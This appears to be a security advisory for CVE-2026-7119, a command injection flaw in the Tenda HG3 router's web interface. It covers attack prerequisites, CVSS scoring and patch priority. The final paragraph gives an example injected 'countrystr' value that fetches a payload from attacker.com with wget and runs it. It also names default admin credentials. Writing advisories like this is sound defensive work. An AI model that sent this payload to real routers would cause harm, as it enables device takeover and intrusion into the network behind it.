Tenda HG3 CVE-2026-7119

Requires low-privilege authentication to the Tenda HG3 web management interface (CVSS PR:L). Exploitation depends on: (1) attacker possessing valid administrative credentials-commonly unchanged from factory defaults on consumer routers (e.g., admin/admin, admin/password); (2) network-level access to the web interface on TCP port 80/443-achievable if admin interface is exposed to WAN, accessible from compromised internal network host, or via cross-site request forgery if victim administrator browses attacker-controlled content while authenticated. The /boaform/formCountrystr endpoint must be accessible, which is default behavior in standard firmware deployments. No special router configuration settings or non-default features are required-this is a core web interface component. Limitations: Authentication barrier (PR:L) prevents completely unauthenticated exploitation, and unchanged scope (S:N) means attacker gains control of the router but requires additional post-exploitation steps to pivot beyond the device itself.

CVSS 4.0 base score of 7.4 indicates high severity with network attack vector (AV:N), low complexity (AC:L), no attack requirements (AT:N), but requiring low-privilege authentication (PR:L). The E:P (Proof-of-concept) modifier confirms publicly available exploit code. Scope is unchanged (S:N in implicit metrics), meaning the vulnerability cannot escape the router's security context, but it achieves complete control within that context (VC:H/VI:H/VA:H). Real-world risk assessment: This represents a MEDIUM-HIGH priority for organizations using Tenda HG3 routers in production. While authentication is required (PR:L), default credentials are commonly unchanged on consumer routers, and admin interfaces are often exposed to internal networks or misconfigured for internet access. The public POC lowers the skill barrier for exploitation. However, absence from CISA KEV suggests exploitation is not yet widespread in the wild. Tenda's consumer router market position means potential victim population is significant. Attack automation is feasible given network vector and low complexity. SSVC decision: Exploitation is POC-level, automatable, with total technical impact within device scope-prioritize patching for internet-facing or critical network segment deployments.

An attacker who has obtained low-privilege credentials (common default admin credentials like admin/admin on consumer routers, or credentials harvested via phishing) authenticates to the Tenda HG3 web interface over the network. They craft an HTTP POST request to /boaform/formCountrystr with a malicious 'countrystr' parameter value containing shell metacharacters and injected commands (e.g., 'US; wget http://attacker.com/malware -O /tmp/payload; chmod +x /tmp/payload; /tmp/payload'). The router executes the injected commands with root or administrative privileges, allowing the attacker to download and run arbitrary code, establish persistent backdoor access, pivot to internal network devices, or exfiltrate configuration data including credentials.